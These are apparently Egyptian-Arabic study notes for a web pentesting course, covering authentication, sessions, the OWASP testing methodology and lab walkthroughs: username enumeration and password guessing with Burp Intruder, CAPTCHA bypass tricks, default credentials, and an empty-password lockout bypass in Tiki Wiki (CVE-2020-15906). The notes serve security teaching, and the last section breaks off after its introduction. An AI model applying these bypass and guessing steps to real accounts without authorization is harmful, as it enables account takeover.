2 EWAPTX (part 2)

Authentication & Authorization : [^1]

[^1]: ## أولًا: يعني إيه Authentication؟

ببساطة:  
**Authentication = "مين أنت؟"**

يعني السيستم بيحاول يتأكد من هويتك.

### أمثلة:

- Username + Password
- OTP (كود على الموبايل)
- Fingerprint / Face ID
- JWT Token

👉 الهدف:  
يتأكد إنك **user حقيقي ومصرّح لك تدخل**

---

## 🧠 مثال بسيط (اللي الفيديو استخدمه)

تخيل عندك أوضة مقفولة 🚪

- الباب = النظام (System)
- المفتاح / الباسورد = Authentication
- الدخول = تم التحقق منك

لو معاك المفتاح الصح → تدخل  
لو لأ → تفضل برا ❌

---

## 🔓 طيب إيه Authorization؟

**Authorization = "تقدر تعمل إيه؟"**

يعني بعد ما دخلت… السيستم بيسألك:  
👉 هل مسموح لك تعمل الحاجة دي؟

---

### مثال عملي:

أنت دخلت موقع (Login) ✔️  
→ ده Authentication

حاولت تفتح `/admin`  
→ هنا Authorization

- لو Admin → تدخل
- لو User عادي → Access Denied ❌

---

## 🔥 الفرق المهم جدًا (احفظه كده)

|النوع|السؤال|مثال|
|---|---|---|
|Authentication|مين أنت؟|Login|
|Authorization|مسموح لك بإيه؟|Access admin panel|

---

## ⚠️ نقطة الناس بتغلط فيها (مهمة جدًا في البنتست)

لو مش قادر تدخل الـ admin panel ❌  
ده **مش مشكلة Authentication**

ده:  
👉 **Authorization Issue**

---

## 🧪 العمليات اللي بتحصل

### 1. Authentication Process

- السيستم بياخد credentials:
    - password
    - token
- يقارنها في الـ database
- لو صح → Login

---

### 2. Authorization Process

- السيستم يشوف:
    - role (admin / user)
    - permissions

ويقارن:  
👉 هل الشخص ده ينفع يعمل request ده؟

---

## 🎯 النتيجة (Outcome)

### Authentication:

- ✔️ Logged in
- ❌ Login failed

### Authorization:

- ✔️ Access granted
- ❌ Access denied

---

## 🔗 العلاقة بينهم

الاتنين شغالين مع بعض:

1. الأول: Authentication
2. بعده: Authorization

بس خد بالك 👇  
أحيانًا Authorization يحصل حتى لو مش Logged in  
(زي check إنك لازم تعمل login أصلاً)

---

## 🚨 ليه Authentication مهم جدًا؟

لأنه:

- أول خط دفاع 🛡️
- يمنع:
    - Account Takeover
    - Data Breach
    - Unauthorized Access

---

## 💣 من ناحية Pentesting (دي بقى الحتة التقيلة 🔥)

لازم تبقى فاهم الفرق عشان تعرف نوع الثغرة:

### 🧨 Authentication Vulnerabilities:

- Weak passwords
- Brute force
- Credential stuffing
- Broken login logic

---

### 🧨 Authorization Vulnerabilities:

- IDOR
- Privilege escalation
- Access control bypass

---

## 🧠 خلاصة جامدة تحفظها

> Authentication = إثبات الهوية  
> Authorization = التحكم في الصلاحيات

---

## 🔥 نصيحة من الآخر

اللي بيفرق pentester عادي من شاطر 👇  
إنه يقدر يقول:

> "دي Authentication issue ولا Authorization issue؟"

مش بس يلاقي الثغرة… لكن **يصنفها صح**

Authentication Types : [^2]

[^2]: # أولًا: يعني إيه Authentication Mechanism؟

ببساطة:

> **هو الطريقة اللي السيستم بيستخدمها علشان يتأكد إنك أنت فعلًا الشخص ده**

يعني:

- مش بس "في login"
- لكن **إزاي بيتم التحقق؟**

---

## 🔑 مثال (نفس فكرة الباب)

- الباب = النظام
- القفل = Authentication Mechanism

يعني:  
👉 القفل ممكن يكون:

- مفتاح 🔑
- بصمة 👆
- كود 📱
- كارت 💳

كل دي **mechanisms مختلفة لنفس الهدف**

---

# 🔥 أنواع الـ Authentication Mechanisms

خلينا نمشي واحدة واحدة 👇

---

## 1️⃣ Password-Based Authentication (الأساسي)

### 💡 الفكرة:

- Username + Password

### 📌 مثال:

mostafa123 / P@ssw0rd

### ✅ ده معناه:

- Username → يعرفك
- Password → يثبت إنك أنت

---

### ⚠️ مشاكله (مهم جدًا كبنتستر):

- Weak passwords
- Reuse passwords
- Brute force
- Credential stuffing

👉 ده أسهل نوع يتهاك

---

## 2️⃣ Multi-Factor Authentication (MFA)

### 💡 الفكرة:

> تستخدم **أكتر من عامل للتحقق**

### الأنواع الأساسية:

|النوع|مثال|
|---|---|
|حاجة تعرفها|Password|
|حاجة تملكها|Phone|
|حاجة أنت|Fingerprint|

---

### 📌 مثال:

- Password + OTP من الموبايل

---

### 🔥 ليه مهم؟

حتى لو:

- الباسورد اتسرق ❌  
    → الهاكر مش هيقدر يدخل

---

### ⚠️ كبنتستر:

بتدور على:

- Bypass MFA
- Logic flaws
- OTP reuse

---

## 3️⃣ Two-Factor Authentication (2FA)

ده نوع من MFA بس:

> **بالظبط عاملين فقط**

---

### 📌 مثال:

- Password + OTP

---

### 🔐 أنواع OTP:

- SMS
- Email
- Authenticator App (زي Google Authenticator)

---

### ⚠️ نقطة خطيرة:

SMS مش آمن ❌  
بسبب:  
👉 SIM Swap Attack

---

### 🔥 الأفضل:

- Authenticator App ✔️

---

## 4️⃣ Token-Based Authentication

### 💡 الفكرة:

بدل ما تكتب الباسورد كل مرة:

👉 السيستم يديك **Token**

---

### 📌 مثال:

- JWT (JSON Web Token)
- OAuth Token

---

### 🧠 بيشتغل إزاي؟

1. Login
2. السيرفر يديك Token
3. كل request بعد كده:

Authorization: Bearer TOKEN

---

### ✅ المميزات:

- أسرع
- scalable
- مناسب للـ APIs

---

### ⚠️ كبنتستر:

ركز هنا جدًا 🔥

بتدور على:

- Token leakage
- Expired token misuse
- Weak signing (JWT)
- IDOR via token

---

## 5️⃣ Single Sign-On (SSO)

### 💡 الفكرة:

> تسجل مرة واحدة → تدخل كل حاجة

---

### 📌 مثال:

- "Login with Google"
- "Login with Facebook"

---

### 🧠 بيشتغل بإيه؟

- OAuth
- SAML

---

### ✅ الميزة:

- User experience جامد
- مش محتاج login كل مرة

---

### ⚠️ كبنتستر:

- Token misconfiguration
- Trust issues
- Open redirect

---

## 6️⃣ One-Time Password (OTP)

### 💡 الفكرة:

> كود بيستخدم مرة واحدة بس

---

### 📌 بييجي منين؟

- SMS
- Email

---

### 🧠 بيستخدم في:

- Login
- Password reset

---

### ⚠️ كبنتستر:

ركز هنا 👇

- OTP brute force
- OTP reuse
- No rate limit
- Predictable OTP

---

# 🔗 ربط مهم جدًا

كل الأنواع دي هدفها واحد:

> ✅ التأكد من الهوية  
> لكن  
> ❗ بطرق مختلفة ومستويات أمان مختلفة

---

# 🧠 خلاصة جامدة (احفظها)

|النوع|القوة|الاستخدام|
|---|---|---|
|Password|ضعيف|أساسي|
|2FA|متوسط|شائع|
|MFA|قوي|أنظمة مهمة|
|Token|قوي|APIs|
|SSO|يعتمد|شركات|
|OTP|مساعد|Verification|

---

# 💣 كـ Pentester (الزتونة 🔥)

كل mechanism = attack surface

يعني:

|النوع|الهجوم|
|---|---|
|Password|Brute force|
|2FA|Bypass|
|Token|Steal / Forge|
|SSO|Misconfig|
|OTP|Bruteforce / Replay|

---

# 🚀 نصيحة ليك

ابدأ تبص لكل login system كده:

1. نوع الـ auth إيه؟
2. في MFA ولا لأ؟
3. Token ولا session؟
4. في OTP؟
5. في SSO؟

وبعدين تسأل نفسك:

> "أكسره إزاي؟ 😈"

Session Management : [^3]

[^3]: # أولًا: الصورة الكبيرة (Big Picture)

عندنا 3 مفاهيم لازم تفرق بينهم:

### 1) Authentication

👉 “مين أنت؟”

- Login (username + password)

### 2) Authorization

👉 “مسموح لك تعمل إيه؟”

- user / admin / VIP

### 3) Session Management ⭐ (المهم هنا)

👉 “إزاي السيستم يفضل فاكر إنك logged in؟”

---

# 💡 المشكلة الأساسية: HTTP Stateless

بروتوكول HTTP **مش بيحفظ الحالة (stateless)**  
يعني كل Request لوحده:

Request 1: login  
Request 2: open dashboard  
Request 3: view profile

السيرفر مش فاكر إنهم من نفس الشخص 😅

👉 الحل: **Session**

---

# 🧠 يعني إيه Session؟

Session = طريقة تخلي السيرفر “يفتكر” المستخدم

- عبارة عن **Session ID**
- بيتخزن غالبًا في **Cookie**
- بيتبعت مع كل request

---

# ⚙️ أهم جزء: إزاي الـ Session بتتعمل؟ (ركز هنا 🔥)

خلينا نمشي خطوة خطوة:

---

## 🟢 Step 1: User يعمل Login

POST /login  
username=admin  
password=123456

---

## 🟢 Step 2: السيرفر يتحقق (Authentication)

- يقارن البيانات مع الداتا بيز
- لو صح → يكمل

---

## 🟢 Step 3: إنشاء Session ⭐

السيرفر يعمل:

### ✅ Generate Session ID

مثال:

SESSIONID = abx72ks9s91kss

🔴 مهم جدًا:

- لازم يكون **Random + طويل + صعب التخمين**

---

### ✅ تخزين Session على السيرفر

مثال:

SESSIONID: abx72ks9s91kss

Data:  
- user_id: 5  
- role: admin  
- login_time: 10:30

---

### ✅ إرسال Session للمتصفح (Cookie)

Set-Cookie: SESSIONID=abx72ks9s91kss

---

## 🟢 Step 4: المستخدم يعمل Requests بعد كده

كل Request هيبقى فيه:

Cookie: SESSIONID=abx72ks9s91kss

---

## 🟢 Step 5: السيرفر يتحقق من Session

- يقرأ الـ Session ID
- يجيب بياناته من السيرفر
- يقول: "آه ده user 5 → دخله"

---

# 🎯 مثال عملي سريع

### Request:

GET /dashboard  
Cookie: SESSIONID=abc123

### السيرفر:

- يلاقي session
- يعرف إنك logged in
- يرجع الصفحة

---

# 🔁 Lifecycle بتاع الـ Session

### 1. Creation

بعد login

### 2. Maintenance

كل request يستخدم نفس الـ session

### 3. Expiration

- timeout (مثلاً 30 دقيقة)
- logout

### 4. Termination

- session يتلغى

---

# 🧩 نقطة مهمة جدًا

⚠️ مش لازم تعمل login علشان تاخد session

مثال:

- تدخل موقع → يديلك session
- ليه؟
    - يحفظ اللغة
    - dark mode
    - shopping cart

---

# 🎭 أفضل تشبيه (بس أبسط من الفيديو 😄)

### 🎟️ Authentication = تذكرة الدخول

### 🪪 Session ID = الإسورة (wristband)

### 🚪 Authorization = الأماكن اللي مسموح تدخلها

---

# 🔐 Session Security (مهم جدًا في pentest)

ليه مهم؟

لأن لو حد سرق الـ Session ID = خلاص بقى أنت 😈

---

## أخطر الهجمات:

### 1. Session Hijacking

يسرق الـ cookie

### 2. Session Fixation

يخليك تستخدم session هو محدده

### 3. Replay Attack

يعيد استخدام session

---

# 🛡️ الحماية

- HTTPS
- HttpOnly cookie
- Secure flag
- SameSite
- Session timeout
- Regenerate session بعد login

---

# 🔥 الخلاصة

- HTTP مش بيحفظ الحالة
- Session بتحل المشكلة دي
- السيرفر بيعمل Session ID
- يخزنه + يديه للمتصفح
- المتصفح يبعت الـ ID كل مرة
- السيرفر يستخدمه يعرفك

Authentication Testing methodology : [^4]

[^4]: # أول حاجة: يعني إيه Authentication Testing؟

ببساطة:

> هو إنك تختبر كل حاجة ليها علاقة بـ **تأكيد هوية المستخدم** وتشوف هل ممكن تتكسر ولا لأ.

📌 يعني بتختبر:

- Login form
- Reset password
- 2FA / MFA
- Session handling المرتبط بالـ login

🎯 الهدف:

- تدخل من غير صلاحية (Unauthorized Access)
- ترفع صلاحياتك (Privilege Escalation)
- أو تسرق session (Session Hijacking)

---

# 🧠 الفكرة الأساسية في المحاضرة

الراجل بيقولك:

> متشتغلش عشوائي… اشتغل بـ **Methodology (منهجية)**

وهنا بيستخدم دليل مهم جدًا:

👉 OWASP  
👉 OWASP Web Security Testing Guide

---

# 📚 الفرق المهم جدًا (ناس كتير بتتلخبط فيه)

❌ OWASP Top 10  
= قائمة vulnerabilities

✅ WSTG  
= **دليل عملي يقولك:**

- تختبر إيه
- تختبره إزاي
- إمتى تختبره

💡 يعني زي Cheat Sheet لأي Pentester

---

# 🔍 ليه WSTG مهم؟

- بيخليك **مش بتنسى حاجة**
- بيخلي شغلك **consistent**
- بيساعدك في **كتابة التقرير بشكل احترافي**

---

# 🧪 أقسام Authentication Testing (المهم بقى 🔥)

هقسمهولك زي ما هو في المحاضرة:

---

## 1️⃣ Testing Credentials Over HTTPS

📌 بتشيك:  
هل اليوزر والباسورد بيتبعتوا بـ HTTPS؟

❌ لو HTTP → خطر (MITM Attack)

---

## 2️⃣ Testing Default Credentials

📌 مثال:

admin:admin  
root:toor

💥 كتير من الأنظمة بتسيبها زي ما هي

---

## 3️⃣ Testing Weak Lockout Mechanism

📌 هل فيه حماية ضد brute force؟

مثال:

- 3 attempts → lock account
- rate limit

❌ لو مفيش → تقدر brute force بسهولة

---

## 4️⃣ Testing Authentication Bypass 🔥

📌 أخطر نوع

> تدخل من غير login أصلاً 😈

مثال:

- تغيير request
- manipulation في parameters
- logic flaw

---

## 5️⃣ Testing Remember Me Function

📌 هل بيخزن بيانات خطيرة؟

❌ مشاكل:

- token مش encrypted
- predictable token

---

## 6️⃣ Testing Forgot Password Function

📌 هل بيكشف info؟

❌ مثال:

- "Email not found" → User Enumeration

✅ الصح:

- "If account exists, we sent email"

---

## 7️⃣ Testing Browser Cache

📌 هل البيانات الحساسة بتتخزن؟

❌ ممكن attacker يشوفها من cache

---

## 8️⃣ Testing Weak Password Policy

📌 هل الموقع بيسمح بـ:

- 123456
- password

💥 ده بيسهل:

- brute force
- dictionary attack

---

## 9️⃣ Testing Alternative Channels

📌 مهم جدًا 🔥

> هل الموبايل أو API أضعف من الويب؟

💡 مثال:

- Web فيه حماية قوية
- Mobile API ضعيف → تدخل منه

---

# ⚔️ الهجمات اللي اتذكرت

المحاضرة أشارت ليهم بسرعة:

- Brute Force
- Dictionary Attack
- Credential Stuffing
- Session Fixation
- Authentication Bypass
- Rate Limit Bypass
- CAPTCHA bypass (مش bypass مباشر، لكن automation)

---

# 🎯 الهدف النهائي من كل ده

كـ Pentester:

1. تدخل السيستم
2. ترفع صلاحياتك
3. تسرق sessions
4. تثبت impact في التقرير

---

# 🧾 نقطة مهمة جدًا (كتابة التقرير)

WSTG بيساعدك في:

- وصف الثغرة
- خطوات إعادة الاستغلال (Reproduce)
- توضيح التأثير (Impact)
- اقتراح الحلول (Remediation)

---

# 🧠 نقطة عبقرية في WSTG

بيوفرلك:

### ✔️ Test Objective

انت بتختبر إيه

### ✔️ How to Test

تعملها إزاي

### ✔️ Tools

تستخدم إيه

### ✔️ Remediation

تصلحها إزاي

---

# 🧪 أنواع الـ Testing

- Black Box → مش عارف حاجة
- Gray Box → معاك شوية معلومات

---

# 💡 مثال عملي من المحاضرة (Lockout)

بيقولك:

جرب:

- تدخل باسورد غلط 3 مرات
- هل الحساب بيقفل؟

لو لا → Vulnerability

---

# 🤖 نقطة الـ CAPTCHA

المحاضرة قالت حاجة مهمة:

> الكابتشا مش مانع للهجوم… بس بيعقده

💡 تقدر:

- تعمل automation
- تستخدم OCR
- أو replay attack

---

# 🧭 Structure الـ WSTG

الدليل فيه مراحل:

- Information Gathering
- Configuration Testing
- Authentication Testing ← (اللي انت فيه)
- Session Management (جاية بعدين)

---

# 🧠 خلاصة المحاضرة (أهم 5 نقاط)

لو عايز تختصرها:

1. Authentication Testing = كسر login system
2. استخدم WSTG كـ roadmap
3. اختبر كل حاجة حوالين login (مش بس الفورم)
4. دور على logic flaws مش بس brute force
5. أهم حاجة: تثبت الـ impact

Username Enumeration : [^5]

[^5]: # أولاً: يعني إيه Username Enumeration؟

ببساطة:

> هو إنك تعرف هل الـ **username/email موجود في السيستم ولا لأ** بدون ما تكون عارف الباسورد.

يعني بدل ما تهاجم blind، بتبقى عارف:

- مين users الحقيقيين
- ومين لأ

---

# 💡 الفكرة الأساسية

الـ vulnerability دي بتحصل لما:

> السيرفر يرد بشكل مختلف حسب إذا كان الـ username موجود أو لا

---

## 👇 مثال واضح جدًا

### الحالة الغلط (Vulnerable):

Username صحيح + Password غلط → "Wrong password"  
Username غلط → "User does not exist"

💥 هنا حصل leak:

- عرفت إن اليوزر موجود لما قالك "password غلط"

---

### الحالة الصح (Secure):

Invalid username or password

✔️ نفس الرسالة في كل الحالات → مفيش leak

---

# 🧠 ليه الموضوع مهم؟

الشرح قال نقطة قوية جدًا:

> Username Enumeration = خطوة قبل Brute Force

---

## بدل ما تعمل:

username + password brute force

## بتعمل:

1. تجيب usernames الصح  
2. بعدين تهاجم passwords بس

💥 ده يخلي الهجوم:

- أسرع
- أدق
- أخطر

---

# 📍 فين نختبرها؟

أي مكان فيه Authentication:

### 1. Login Page

### 2. Register Page

### 3. Forgot Password 🔥 (أهم واحد)

---

# 💣 ليه Forgot Password مهم جدًا؟

لأنه:

- محتاج يعرف إذا الإيميل موجود
- عشان يبعث reset link

---

## مثال:

### ❌ Vulnerable:

"This email does not exist"

### ✅ Secure:

"If this account exists, we sent an email"

---

# ⚠️ طرق اكتشاف الـ Enumeration

مش بس الرسائل!

---

## 1. Error Messages

زي:

- invalid username
- wrong password

---

## 2. HTTP Response

- Status code مختلف
- Content مختلف

---

## 3. Response Length 🔥

زي ما شفت في اللاب:

- Invalid user → response length = 1524
- Valid user → response length = 1434

💥 فرق صغير = معلومة كبيرة

---

## 4. Response Time

- user موجود → query DB → أبطأ
- user مش موجود → أسرع

---

# 🧪 شرح اللاب خطوة خطوة (أهم جزء)

## 🧩 الهدف:

نلاقي usernames valid باستخدام Burp Suite

---

## 🥇 Step 1: نلاقي نقطة الضعف

راح على:

Forgot Password

وجرب:

alexis → not valid  
admin → secret question ظهر

💥 كده عرفنا إن:

admin → valid user

---

## 🥈 Step 2: نستخدم Burp Suite

### نشغل:

- Proxy → Intercept ON

### نعمل request:

submit username

---

## 🥉 Step 3: نبعت request لـ Intruder

- Right click → Send to Intruder

---

## ⚙️ Step 4: نحدد مكان الحقن (Payload)

username=§alexis§

---

## 📂 Step 5: نحط wordlist

مثلاً:

- metasploit usernames
- default users

---

## 🚀 Step 6: Start Attack

---

# 🔍 Step 7: تحليل النتائج (أهم خطوة)

### بص على:

## 1. Response Length

- المختلف = valid

## 2. Response Content

- فيه message مختلف

---

## في اللاب:

admin → length مختلف → VALID  
غيره → نفس الطول → INVALID

---

# 🧠 Smart Trick (مهم جدًا)

استخدم:

### Grep Match في Burp

مثلاً:

"not a valid username"

✔️ أي response فيه الجملة → INVALID  
✔️ اللي مش فيها → VALID

---

# 🔥 الخلاصة العملية (Attack Flow)

1. اكتشف Enumeration  
2. اجمع usernames valid  
3. استخدمهم في:  
   - Brute Force  
   - Dictionary Attack  
   - Credential Stuffing

---

# 🛡️ ازاي نحمي منها (مهم في الانترفيو)

قول دايمًا:

- استخدام نفس error message
- Rate limiting
- CAPTCHA
- Logging & monitoring
- MFA

---

# 🧠 ربطها بالواقع (Bug Bounty)

دي من أكتر الحاجات اللي بتظهر في:

- Forgot Password
- APIs
- Mobile apps

Testing for weak password Policy : [^6]

[^6]: # أولًا: الجزء النظري – Weak Password Policy

## 📌 يعني إيه Weak Password Policy؟

ببساطة:  
هو إن الويب أبليكيشن **ما بيجبرش المستخدمين يستخدموا باسورد قوية**.

يعني يسمح بحاجات زي:

- `123456`
- `password`
- `qwerty`
- `Christmas` (زي اللي حصل في اللاب 😄)

وده خطر جدًا لأنه بيسهل على المهاجمين يخمنوا الباسورد.

---

## 📌 ليه الموضوع ده مهم؟

لأن:

- المستخدمين بطبعهم بيحبوا الباسورد السهلة
- لو السيستم مش بيجبرهم → الحسابات بتبقى ضعيفة
- النتيجة → **Unauthorized Access + Data Breach**

---

## 📌 السيستم المفروض يعمل إيه؟

لازم يفرض Password Policy زي:

- Minimum length (مثلاً ≥ 8)
- Uppercase + lowercase
- Numbers
- Symbols
- منع الباسورد الشائعة

---

# 🔹 الفرق المهم (بيجي في الامتحانات ⚠️)

## 🟢 Dictionary Attack

- بتستخدم **Wordlist جاهزة**
- فيها باسوردات مشهورة أو leaked

مثال:

- rockyou.txt
- secLists

👉 الهدف:  
تشوف هل المستخدم بيستخدم باسورد شائعة ولا لأ

---

## 🔴 Brute Force Attack

- بتجرب **كل الاحتمالات الممكنة**
- بتولد الباسوردات بنفسك

مثال:

aaa  
aab  
aac  
...

👉 الهدف:  
تكسر الباسورد حتى لو مش موجودة في wordlist

---

## 🔥 الفرق المختصر:

|النوع|بيعتمد على|السرعة|
|---|---|---|
|Dictionary|كلمات جاهزة|أسرع|
|Brute Force|كل الاحتمالات|أبطأ جدًا|

---

# 🔹 الحاجات اللي بتختبرها كـ Pentester

### 1. Password Complexity

هل فيه:

- طول معين؟
- شروط؟

---

### 2. Rate Limiting / Lockout

هل:

- بعد 3-5 محاولات الحساب بيتقفل؟
- فيه delay؟

---

### 3. Error Messages

هل الرسائل:

- بتقول "Invalid credentials" (كويس ✅)
- ولا بتقول:
    - "Password too short" ❌
    - "User not found" ❌

👉 دي بتساعد في **User Enumeration**

---

# 🔹 ثانيًا: شرح اللاب خطوة خطوة 🔥

## 🎯 الهدف

تكسر باسورد ال admin باستخدام **Dictionary Attack**

---

## 🧠 Step 1: فهم السيناريو

عندك:

- Login page
- Email معروف:

admin@secbank.com

👉 يعني أنت مش محتاج تعمل User Enumeration

---

## 🧠 Step 2: التقاط الريكوست

باستخدام:

- Burp Suite

بتعمل:

1. تشغل Proxy
2. تدخل أي باسورد
3. تمسك الـ request

هيكون POST request فيه:

email=admin@secbank.com  
password=xxxx

---

## 🧠 Step 3: إرسال إلى Intruder

- Right Click → Send to Intruder
- Positions → Clear
- تحدد مكان الباسورد بس

---

## 🧠 Step 4: اختيار نوع الهجوم

- Attack type: **Sniper**

👉 لأنك بتغير parameter واحد (password)

---

## 🧠 Step 5: تحميل Wordlist

بتستخدم:

- قائمة فيها 100 باسورد شائعة

---

## 🧠 Step 6: تشغيل الهجوم

- Start Attack
- تراقب:
    - Length
    - Response

---

## 🧠 Step 7: اكتشاف الباسورد

كل الردود:

Invalid credentials

إلا واحد 👇

- Length مختلف (511)
- فيه:

admin: true

👉 الباسورد:

Christmas

---

## 🧠 Step 8: تسجيل الدخول

تحط:

- email: admin@secbank.com
- password: Christmas

✅ Login successful

---

# 🔥 أهم استنتاجات من اللاب

## ❌ السيستم فيه مشاكل:

1. مفيش Password Policy
2. مفيش Rate Limiting
3. سمح بباسورد سهلة جدًا

---

## ✅ كـ Pentester هتكتب في التقرير:

### Vulnerability:

Weak Password Policy

### Impact:

- Account takeover
- Sensitive data exposure

### Recommendation:

- Enforce strong password rules
- Implement rate limiting
- Use MFA

---

# 🔥 خلاصة مهمة جدًا (احفظها)

- Weak Password Policy = باب مفتوح للهجوم
- Dictionary = أسرع وأسهل
- Brute Force = أبطأ لكن أقوى
- لازم دايمًا تختبر:
    - Policy
    - Lockout
    - Error messages

CAPTCHA bypass : [^7]

[^7]: # CAPTCHA Bypass & Types – Quick Notes

## 📌 أولًا: إيه هو CAPTCHA؟

- Mechanism بيستخدمه السيرفر عشان يفرق بين:
    - 👤 Human
    - 🤖 Bot
- الهدف: منع الـ **automation attacks** (زي brute force)

---

# 🔢 أنواع الـ CAPTCHA

## 🟢 1. Arithmetic-based CAPTCHA

### 📖 الفكرة:

- سؤال حسابي بسيط:
    - `3 + 5 = ?`

### ⚠️ نقاط الضعف:

- سهل جدًا للأتمتة (script يحسبها)
- predictable أحيانًا
- ممكن يكون client-side

### 🔥 Bypass:

- استخراج المعادلة من response
- حلها باستخدام script (`eval`)
- إرسال الإجابة مع request

---

## 🟢 2. Text-based CAPTCHA

### 📖 الفكرة:

- صورة فيها حروف/أرقام مشوشة

### ⚠️ نقاط الضعف:

- OCR tools تقدر تقرأ النص
- أحيانًا distortion ضعيف

### 🔥 Bypass:

- استخدام OCR (زي Tesseract)
- أو manual solving services

---

## 🟢 3. Image-based CAPTCHA

### 📖 الفكرة:

- اختار صور معينة:
    - عربيات 🚗
    - إشارات 🚦

### ⚠️ نقاط الضعف:

- AI models تقدر تتعرف على الصور
- predictable datasets

### 🔥 Bypass:

- AI/ML models
- أو خدمات بشرية

---

## 🟢 4. reCAPTCHA v2 (Checkbox / Image Challenge)

### 📖 من Google

- "I'm not a robot"
- أو image challenge

---

### ⚠️ نقاط الضعف:

- عدم التحقق server-side
- token reuse
- CAPTCHA optional
- مش مربوط بالـ action

---

### 🔥 Bypass:

- حذف `g-recaptcha-response` وتجربة الطلب
- إعادة استخدام نفس التوكن
- استخدام خدمات زي:
    - 2Captcha
- استغلال logic flaws

---

## 🟢 5. reCAPTCHA v3 (Invisible)

### 📖 الفكرة:

- بدون interaction
- بيعتمد على **score (0 → 1)**

---

### ⚠️ نقاط الضعف:

- threshold ضعيف
- السيرفر مش بيتحقق من score
- token reuse
- مش مربوط بالـ action

---

### 🔥 Bypass:

- إرسال request بدون تحقق
- reuse token
- automation بسلوك شبه إنسان
- استغلال misconfiguration

---

## 🟢 6. 2Captcha (Service مش نوع)

### 📖 الفكرة:

- خدمة بتحل CAPTCHA باستخدام بشر
- بتستخدم API

---

### 🔥 الاستخدام:

- تبعت CAPTCHA
- تستقبل الحل
- تستخدمه في request

---

# 🧪 طرق اختبار CAPTCHA (Pentester Checklist)

## 🔍 1. تحليل request

- دور على:
    - `captcha`
    - `g-recaptcha-response`

---

## 🧪 2. اختبارات أساسية:

### ✔️ حذف CAPTCHA

- هل الطلب بيعدي؟

---

### ✔️ إدخال قيمة عشوائية

- هل السيرفر بيتحقق فعلاً؟

---

### ✔️ إعادة استخدام التوكن

- هل ينفع reuse؟

---

### ✔️ تجاهل CAPTCHA بالكامل

- هل backend بيعتمد عليه؟

---

### ✔️ تغيير flow

- هل ممكن skip step؟

---

---

# 🔥 Common Bypass Techniques

- ❌ No server-side validation
- 🔁 Token reuse
- 🧠 Logic flaws
- 🤖 Automation (scripts / bots)
- 👨‍💻 Human solving services
- ⏱️ Race conditions
- 🌐 تغيير IP (لو فيه rate limit)

---

# ⚠️ أخطاء شائعة في التطبيقات

- CAPTCHA في الـ UI فقط
- عدم ربط CAPTCHA بالـ session
- عدم ربطه بالـ action
- عدم وجود expiration
- قبول أي token

---

# 🧠 الخلاصة المهمة

> CAPTCHA مش حماية كاملة ❌  
> هو مجرد **طبقة إضافية**

✔️ الأمان الحقيقي لازم يشمل:

- Rate limiting
- Account lockout
- Monitoring

Account Lockout Bypass : [^8]

[^8]: أولًا: يعني إيه Account Lockout؟

    ببساطة:

    **Account Lockout** هو Policy بيحمي الحسابات من هجمات الـ brute force.

    يعني:

    - لو حاولت تدخل باسورد غلط كذا مرة (مثلاً 5 أو 10 مرات)
    - السيستم يعمل **Lock للحساب**
    - ومش هتعرف تدخل تاني إلا بعد:
        - وقت معين (15 دقيقة مثلًا)
        - أو Admin يفكّه

    👉 الهدف: يمنع الهاكر من تجربة آلاف الباسوردات

    ---

    ## ⚙️ أنواع الـ Lockout

    1. **Time-based**
        - الحساب يتقفل لمدة (مثلاً 15 دقيقة)
    2. **Admin unlock**
        - لازم الأدمن يفكّه يدويًا
    3. **Progressive delay**
        - كل محاولة غلط = انتظار أطول

    ---

    ## 🧪 في اللاب حصل إيه؟

    التارجت كان CMS اسمه:

    ➡️ Tiki Wiki CMS Groupware

    ### السيناريو:

    4. لقي Login page
    5. بدأ يجرب login
    6. استخدم:
        - Burp Suite (Intruder)
    7. عمل **dictionary attack** على الباسورد

    ---

    ## 🔍 اكتشاف الـ Lockout

    بعد ~50 محاولة:

    📌 الريسبونس اتغير:

    - بدل: `Invalid username/password`
    - بقى:  
        ➜ "Account requires administrator approval"

    👉 كده عرفنا:

    - فيه Lockout بعد 50 محاولة

    ---

    ## ⚠️ فين المشكلة (Vulnerability)؟

    المفروض بعد الـ lock:

    - مفيش login خالص ❌

    لكن اللي حصل 👇

    ### 💥 المفاجأة:

    لو بعت request فيها:

    username=admin  
    password= (empty)

    ✅ دخل عادي!!

    ---

    ## 🧠 ده معناه إيه؟

    ده يعتبر:

    ### 1. Weak Lockout Mechanism

    - السيستم بيقفل الحساب
    - بس مش بيمنع كل الحالات

    ### 2. Authentication Bypass

    - تقدر تدخل من غير باسورد أصلاً

    ---

    ## 🚨 الـ CVE اللي اتكلم عنها

    الثغرة دي مرتبطة بـ:

    ➡️ CVE-2020-15906

    ### 📌 تفاصيلها:

    - بتأثر على Tiki Wiki version 21.x
    - فيها:
        - Rate limiting (50 محاولة)
        - لكن فيه bug في التحقق

    ### 💥 سبب الثغرة:

    - السيستم بعد ما يعمل lock
    - بيبقى فيه logic flaw:
        - لو الباسورد فاضي → بيعدّي validation

    👉 يعني:

    if(password == "") → bypass

    ---

    ## 🔗 ليه دي خطيرة؟

    - تقدر:
        - تدخل Admin بدون باسورد
        - تاخد Full control
    - ده = **Critical vulnerability**

    ---

    ## 🧪 خطوات الاختبار (Pentest Methodology)

    ### 1. Identify login

    - صفحة login

    ### 2. Brute force

    - باستخدام Intruder

    ### 3. Monitor responses

    - شوف:
        - Length
        - Status
        - Messages

    ### 4. Detect lockout

    - لما الرسالة تتغير

    ### 5. Try bypass techniques

    زي:

    - Empty password
    - Null byte
    - تغيير request
    - حذف parameters

    ---

    ## 💡 أفكار bypass شائعة

    غير اللي في الفيديو:

    - تغيير IP (لو lockout per IP)
    - تغيير Username case
    - استخدام password = ""
    - إرسال request ناقص
    - Race condition

    ---

    ## 🧠 الخلاصة

    المحاضرة دي بتعلمك 3 حاجات مهمين جدًا:

    ### 1. مش كل Lockout = حماية

    ممكن يكون:

    > موجود بس ضعيف

    ### 2. لازم تختبر بعد الـ Lockout

    مش تقف عند:

    > "الحساب اتقفل وخلاص"

    ### 3. الربط بين vulnerabilities

    هنا عندك:

    - Lockout
    - Rate limiting
    - Authentication bypass

    ---

    ## 🔥 ملخص سريع

    - Account Lockout = حماية من brute force
    - في اللاب:
        - بعد 50 محاولة الحساب اتقفل
        - لكن بـ empty password → دخل
    - ده بسبب:
        - Logic flaw
    - CVE:
        - CVE-2020-15906
    - النتيجة:
        - Full account takeover

Bypassing Authentication Schema_ Parameter Manipulation :
[^9]

[^9]: # أولًا: يعني إيه Authentication Schema؟

    ببساطة:

    **Authentication Schema = الطريقة/المنظومة اللي السيستم بيتأكد بيها إنك مستخدم حقيقي**

    يعني تشمل:

    - login form (username/password)
    - sessions (cookies)
    - tokens (JWT)
    - APIs

